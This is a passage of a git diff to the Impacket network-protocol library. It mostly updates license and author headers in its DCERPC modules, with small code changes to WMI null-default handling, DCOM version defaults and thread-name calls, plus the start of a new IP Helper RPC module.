+1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (beto@coresecurity.com) -# # Description: # RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt) # RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt) @@ -15,6 +15,10 @@ # # [MS-LSAD] Section 5.1.2 # [MS-SAMR] Section 2.2.11.1.1 +# +# Author: +# Alberto Solino (@agsolino) +# from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/__init__.py b/impacket/dcerpc/__init__.py index 2ae28399f5..b2b0c68da4 100644 --- a/impacket/dcerpc/__init__.py +++ b/impacket/dcerpc/__init__.py @@ -1 +1,9 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# pass diff --git a/impacket/dcerpc/v5/__init__.py b/impacket/dcerpc/v5/__init__.py index 2ae28399f5..b2b0c68da4 100644 --- a/impacket/dcerpc/v5/__init__.py +++ b/impacket/dcerpc/v5/__init__.py @@ -1 +1,9 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# pass diff --git a/impacket/dcerpc/v5/atsvc.py b/impacket/dcerpc/v5/atsvc.py index d7ea612ff2..524a060eee 100644 --- a/impacket/dcerpc/v5/atsvc.py +++ b/impacket/dcerpc/v5/atsvc.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-TSCH] ATSVC Interface implementation # @@ -14,10 +14,14 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. # +# Author: +# Alberto Solino (@agsolino) +# + from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL from impacket import hresult_errors diff --git a/impacket/dcerpc/v5/bkrp.py b/impacket/dcerpc/v5/bkrp.py index 15a93bb627..954841f18e 100644 --- a/impacket/dcerpc/v5/bkrp.py +++ b/impacket/dcerpc/v5/bkrp.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-BKRP] Interface implementation # @@ -14,12 +14,17 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # # ToDo: -# [ ] 2.2.2 Client-Side-Wrapped Secret +# [ ] 2.2.2 Client-Side-Wrapped Secret +# + from __future__ import division from __future__ import print_function from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray diff --git a/impacket/dcerpc/v5/dcom/__init__.py b/impacket/dcerpc/v5/dcom/__init__.py index 2ae28399f5..b2b0c68da4 100644 --- a/impacket/dcerpc/v5/dcom/__init__.py +++ b/impacket/dcerpc/v5/dcom/__init__.py @@ -1 +1,9 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# pass diff --git a/impacket/dcerpc/v5/dcom/comev.py b/impacket/dcerpc/v5/dcom/comev.py index af6912fdc6..4e54e6bbe5 100644 --- a/impacket/dcerpc/v5/dcom/comev.py +++ b/impacket/dcerpc/v5/dcom/comev.py @@ -1,23 +1,26 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: -# [MS-COMEV]: Component Object Model Plus (COM+) Event System Protocol. -# This was used as a way to test the DCOM runtime. Further +# [MS-COMEV]: Component Object Model Plus (COM+) Event System Protocol. +# This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # -# Since DCOM is like an OO RPC, instead of helper functions you will see the -# classes described in the standards developed. -# There are test cases for them too. +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/dcom/oaut.py b/impacket/dcerpc/v5/dcom/oaut.py index 09bc6f4f1d..5b518eb19d 100644 --- a/impacket/dcerpc/v5/dcom/oaut.py +++ b/impacket/dcerpc/v5/dcom/oaut.py @@ -1,23 +1,26 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-OAUT]: OLE Automation Protocol Implementation -# This was used as a way to test the DCOM runtime. Further +# This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # -# Since DCOM is like an OO RPC, instead of helper functions you will see the -# classes described in the standards developed. -# There are test cases for them too. +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/dcom/scmp.py b/impacket/dcerpc/v5/dcom/scmp.py index 752235caea..7a97fad9e6 100644 --- a/impacket/dcerpc/v5/dcom/scmp.py +++ b/impacket/dcerpc/v5/dcom/scmp.py @@ -1,23 +1,26 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-SCMP]: Shadow Copy Management Protocol Interface implementation -# This was used as a way to test the DCOM runtime. Further +# This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # -# Since DCOM is like an OO RPC, instead of helper functions you will see the -# classes described in the standards developed. -# There are test cases for them too. +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/dcom/vds.py b/impacket/dcerpc/v5/dcom/vds.py index 0e46797af3..81a9084fc6 100644 --- a/impacket/dcerpc/v5/dcom/vds.py +++ b/impacket/dcerpc/v5/dcom/vds.py @@ -1,23 +1,26 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-VDS]: Virtual Disk Service (VDS) Protocol -# This was used as a way to test the DCOM runtime. Further +# This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # -# Since DCOM is like an OO RPC, instead of helper functions you will see the -# classes described in the standards developed. -# There are test cases for them too. +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/dcom/wmi.py b/impacket/dcerpc/v5/dcom/wmi.py index c8affc38a9..b2fcae769d 100644 --- a/impacket/dcerpc/v5/dcom/wmi.py +++ b/impacket/dcerpc/v5/dcom/wmi.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol. Partial implementation # @@ -13,9 +13,12 @@ # so you understand what the call does, and then read the test case located # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # -# Since DCOM is like an OO RPC, instead of helper functions you will see the -# classes described in the standards developed. -# There are test cases for them too. +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function @@ -23,6 +26,7 @@ from functools import partial import collections import logging +import six from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRUniConformantVaryingArray, NDRUNION, \ NDRENUM @@ -281,6 +285,15 @@ class CIM_TYPE_ENUM(Enum): CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value : 'object', } +CIM_NUMBER_TYPES = ( + CIM_TYPE_ENUM.CIM_TYPE_CHAR16.value, CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value, + CIM_TYPE_ENUM.CIM_TYPE_SINT8.value, CIM_TYPE_ENUM.CIM_TYPE_UINT8.value, + CIM_TYPE_ENUM.CIM_TYPE_SINT16.value, CIM_TYPE_ENUM.CIM_TYPE_UINT16.value, + CIM_TYPE_ENUM.CIM_TYPE_SINT32.value, CIM_TYPE_ENUM.CIM_TYPE_UINT32.value, + CIM_TYPE_ENUM.CIM_TYPE_SINT64.value, CIM_TYPE_ENUM.CIM_TYPE_UINT64.value, + CIM_TYPE_ENUM.CIM_TYPE_REAL32.value, CIM_TYPE_ENUM.CIM_TYPE_REAL64.value, +) + # 2.2.61 QualifierName QUALIFIER_NAME = HEAP_STRING_REF @@ -791,9 +804,24 @@ def __init__(self, data = None, alignment = 0): else: self.data = None + def __processNdTable(self, properties): + octetCount = (len(properties) - 1) // 4 + 1 # see [MS-WMIO]: 2.2.26 NdTable + packedNdTable = self['NdTable_ValueTable'][:octetCount] + unpackedNdTable = [(byte >> shift) & 0b11 for byte in six.iterbytes(packedNdTable) for shift in (0, 2, 4, 6)] + for key in properties: + ndEntry = unpackedNdTable[properties[key]['order']] + properties[key]['null_default'] = bool(ndEntry & 0b01) + properties[key]['inherited_default'] = bool(ndEntry & 0b10) + + return octetCount + + @staticmethod + def __isNonNullNumber(prop): + return prop['type'] & ~Inherited in CIM_NUMBER_TYPES and not prop['null_default'] + def getValues(self, properties): heap = self["InstanceHeap"]["HeapItem"] - valueTableOff = (len(properties) - 1) // 4 + 1 + valueTableOff = self.__processNdTable(properties) valueTable = self['NdTable_ValueTable'][valueTableOff:] sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order']) for key in sorted_props: @@ -810,7 +838,7 @@ def getValues(self, properties): itemValue = 0xffffffff # if itemValue == 0, default value remains - if itemValue != 0: + if itemValue != 0 or self.__isNonNullNumber(properties[key]): value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) properties[key]['value'] = value # is the value set valid or should we clear it? ( if not inherited ) @@ -2361,6 +2389,11 @@ def getMethods(self): return () return self.encodingUnit['ObjectBlock'].ctCurrent['methods'] + @staticmethod + def __ndEntry(index, null_default, inherited_default): + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmio/ed436785-40fc-425e-ad3d-f9200eb1a122 + return (bool(null_default) << 1 | bool(inherited_default)) << (2 * index) + def marshalMe(self): # So, in theory, we have the OBJCUSTOM built, but # we need to update the values @@ -2377,6 +2410,7 @@ def marshalMe(self): for i, propName in enumerate(properties): propRecord = properties[propName] itemValue = getattr(self, propName) + propIsInherited = propRecord['inherited'] print("PropName %r, Value: %r" % (propName,itemValue)) pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) @@ -2388,7 +2422,7 @@ def marshalMe(self): if propRecord['type'] & CIM_ARRAY_FLAG: if itemValue is None: - ndTable |= 2 << (2*i) + ndTable |= self.__ndEntry(i, True, propIsInherited) valueTable += pack(packStr, 0) else: valueTable += pack('. -# There are test cases for them too. +# There are test cases for them too. # -# ToDo: -# [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine -# for each call, making it slower. +# Author: +# Alberto Solino (@agsolino) # -# [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if -# not used, returning RPC_E_DISCONNECTED +# ToDo: +# [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine +# for each call, making it slower. +# [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if +# not used, returning RPC_E_DISCONNECTED # + from __future__ import division from __future__ import print_function import socket from struct import pack -from threading import Timer, currentThread +from threading import Timer, current_thread from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \ @@ -164,15 +167,27 @@ def isNull(self): # 2.2.11 COMVERSION class COMVERSION(NDRSTRUCT): + default_major_version = 5 + default_minor_version = 7 + structure = ( ('MajorVersion',USHORT), ('MinorVersion',USHORT), ) + + @classmethod + def set_default_version(cls, major_version=None, minor_version=None): + # Set default dcom version for all new COMVERSION objects. + if major_version is not None: + cls.default_major_version = major_version + if minor_version is not None: + cls.default_minor_version = minor_version + def __init__(self, data = None,isNDR64 = False): NDRSTRUCT.__init__(self, data, isNDR64) if data is None: - self['MajorVersion'] = 5 - self['MinorVersion'] = 7 + self['MajorVersion'] = self.default_major_version + self['MinorVersion'] = self.default_minor_version class PCOMVERSION(NDRPOINTER): referent = ( @@ -1075,7 +1090,7 @@ def disconnect(self): DCOMConnection.PINGTIMER.join() DCOMConnection.PINGTIMER = None if self.__target in INTERFACE.CONNECTIONS: - del(INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) + del(INTERFACE.CONNECTIONS[self.__target][current_thread().name]) self.__portmap.disconnect() #print INTERFACE.CONNECTIONS @@ -1131,7 +1146,7 @@ def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, # We gotta check if we have a container inside our connection list, if not, create if (self.__target in INTERFACE.CONNECTIONS) is not True: INTERFACE.CONNECTIONS[self.__target] = {} - INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} + INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {} if objRef is not None: self.process_interface(objRef) @@ -1191,7 +1206,7 @@ def get_ipidRemUnknown(self): return self.__ipidRemUnknown def get_dce_rpc(self): - return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] + return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] def get_cinstance(self): return self.__cinstance @@ -1199,12 +1214,12 @@ def get_cinstance(self): def set_cinstance(self, cinstance): self.__cinstance = cinstance - def is_fdqn(self): + def is_fqdn(self): # I will assume the following # If I can't socket.inet_aton() then it's not an IPv4 address # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be # an FQDN with ':' - # Is it isn't both, then it is a FDQN + # Is it isn't both, then it is a FQDN try: socket.inet_aton(self.__target) except: @@ -1212,30 +1227,29 @@ def is_fdqn(self): try: self.__target.index(':') except: - # Not an IPv6, it's a FDQN + # Not an IPv6, it's a FQDN return True return False - def connect(self, iid = None): if (self.__target in INTERFACE.CONNECTIONS) is True: - if currentThread().getName() in INTERFACE.CONNECTIONS[self.__target] and \ - (self.__oxid in INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) is True: - dce = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] - currentBinding = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] + if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \ + (self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True: + dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] + currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] if currentBinding == iid: # We don't need to alter_ctx pass else: newDce = dce.alter_ctx(iid) - INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = newDce - INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid else: stringBindings = self.get_cinstance().get_string_bindings() # No OXID present, we should create a new connection and store it stringBinding = None - isTargetFDQN = self.is_fdqn() - LOG.debug('Target system is %s and isFDQN is %s' % (self.get_target(), isTargetFDQN)) + isTargetFQDN = self.is_fqdn() + LOG.debug('Target system is %s and isFQDN is %s' % (self.get_target(), isTargetFQDN)) for strBinding in stringBindings: # Here, depending on the get_target() value several things can happen # 1) it's an IPv4 address @@ -1257,7 +1271,7 @@ def connect(self, iid = None): stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] break # If get_target() is a FQDN, does it match the hostname? - elif isTargetFDQN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0: + elif isTargetFQDN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0: # Here we replace the aNetworkAddr with self.get_target() # This is to help resolving the target system name. # self.get_target() has been resolved already otherwise we wouldn't be here whereas @@ -1298,10 +1312,10 @@ def connect(self, iid = None): #traceback.print_stack() raise Exception("OXID NONE, something wrong!!!") - INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} - INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid] = {} - INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = dce - INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid + INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {} + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid] = {} + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = dce + INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid else: # No connection created raise Exception('No connection created') @@ -1324,7 +1338,7 @@ def request(self, req, iid = None, uuid = None): return resp def disconnect(self): - return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'].disconnect() + return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'].disconnect() # 3.1.1.5.6.1 IRemUnknown Methods diff --git a/impacket/dcerpc/v5/dhcpm.py b/impacket/dcerpc/v5/dhcpm.py index 4e3699faf3..ce1ba3ac75 100755 --- a/impacket/dcerpc/v5/dhcpm.py +++ b/impacket/dcerpc/v5/dhcpm.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-DHCPM] Interface implementation # @@ -18,6 +18,10 @@ # Helper functions start with "h". # There are test cases for them too. # +# Author: +# Alberto Solino (@agsolino) +# + from __future__ import division from __future__ import print_function from impacket import system_errors diff --git a/impacket/dcerpc/v5/drsuapi.py b/impacket/dcerpc/v5/drsuapi.py index 1671aa46c8..a9b1f8432c 100644 --- a/impacket/dcerpc/v5/drsuapi.py +++ b/impacket/dcerpc/v5/drsuapi.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-DRSR] Directory Replication Service (DRS) DRSUAPI Interface implementation # @@ -14,10 +14,14 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. # +# Author: +# Alberto Solino (@agsolino) +# + from __future__ import division from __future__ import print_function from builtins import bytes diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py index 903a9ae8be..8c30838c44 100644 --- a/impacket/dcerpc/v5/dtypes.py +++ b/impacket/dcerpc/v5/dtypes.py @@ -1,14 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-DTYP] Interface mini implementation # +# Author: +# Alberto Solino (@agsolino) +# + from __future__ import division from __future__ import print_function from struct import pack diff --git a/impacket/dcerpc/v5/enum.py b/impacket/dcerpc/v5/enum.py index 5efe2afb29..80e4928e19 100644 --- a/impacket/dcerpc/v5/enum.py +++ b/impacket/dcerpc/v5/enum.py @@ -1,3 +1,11 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# """Python Enumerations""" import sys as _sys diff --git a/impacket/dcerpc/v5/epm.py b/impacket/dcerpc/v5/epm.py index d795d36def..9aecb3e7d8 100644 --- a/impacket/dcerpc/v5/epm.py +++ b/impacket/dcerpc/v5/epm.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-RPCE]-C706 Interface implementation for the remote portmapper # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # import socket from struct import unpack diff --git a/impacket/dcerpc/v5/even.py b/impacket/dcerpc/v5/even.py index 4c18f6c8e9..34b08145d7 100644 --- a/impacket/dcerpc/v5/even.py +++ b/impacket/dcerpc/v5/even.py @@ -1,12 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# Itamar Mizrahi (@MrAnde7son) -# # Description: # [MS-EVEN] Interface implementation # @@ -19,6 +18,10 @@ # Helper functions start with "h". # There are test cases for them too. # +# Author: +# Alberto Solino (@agsolino) +# Itamar Mizrahi (@MrAnde7son) +# from __future__ import division from __future__ import print_function from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDR, NDRPOINTERNULL, NDRUniConformantArray diff --git a/impacket/dcerpc/v5/even6.py b/impacket/dcerpc/v5/even6.py index 69549c4822..fc6495aa3a 100644 --- a/impacket/dcerpc/v5/even6.py +++ b/impacket/dcerpc/v5/even6.py @@ -1,12 +1,12 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. # Copyright (c) 2017 @MrAnde7son # -# This software is provided under under a slightly modified version +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Itamar (@MrAnde7son) -# # Description: # Initial [MS-EVEN6] Interface implementation # @@ -19,6 +19,9 @@ # Helper functions start with "h". # There are test cases for them too. # +# Author: +# Itamar (@MrAnde7son) +# from impacket import system_errors from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT diff --git a/impacket/dcerpc/v5/iphlp.py b/impacket/dcerpc/v5/iphlp.py new file mode 100644 index 0000000000..40e7ffecf8 --- /dev/null +++ b/impacket/dcerpc/v5/iphlp.py @@ -0,0 +1,175 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Implementation of iphlpsvc.dll MSRPC calls (Service that offers IPv6 connectivity over an IPv4 network) +# +# Authors: +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) +# + +from socket import inet_aton + +from impacket import uuid +from impacket import hresult_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.dtypes import BYTE, ULONG, WSTR, GUID, NULL +from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_IPHLP_IP_TRANSITION = uuidtup_to_bin(('552d076a-cb29-4e44-8b6a-d15e59e2c0af', '1.0')) + +# RPC_IF_ALLOW_LOCAL_ONLY +MSRPC_UUID_IPHLP_TEREDO = uuidtup_to_bin(('ecbdb051-f208-46b9-8c8b-648d9d3f3944', '1.0')) +MSRPC_UUID_IPHLP_TEREDO_CONSUMER = uuidtup_to_bin(('1fff8faa-ec23-4e3f-a8ce-4b2f8707e636', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'IPHLP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'IPHLP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +# Notification types +NOTIFICATION_ISATAP_CONFIGURATION_CHANGE = 0 +NOTIFICATION_PROCESS6TO4_CONFIGURATION_CHANGE = 1 +NOTIFICATION_TEREDO_CONFIGURATION_CHANGE = 2 +NOTIFICATION_IP_TLS_CONFIGURATION_CHANGE = 3 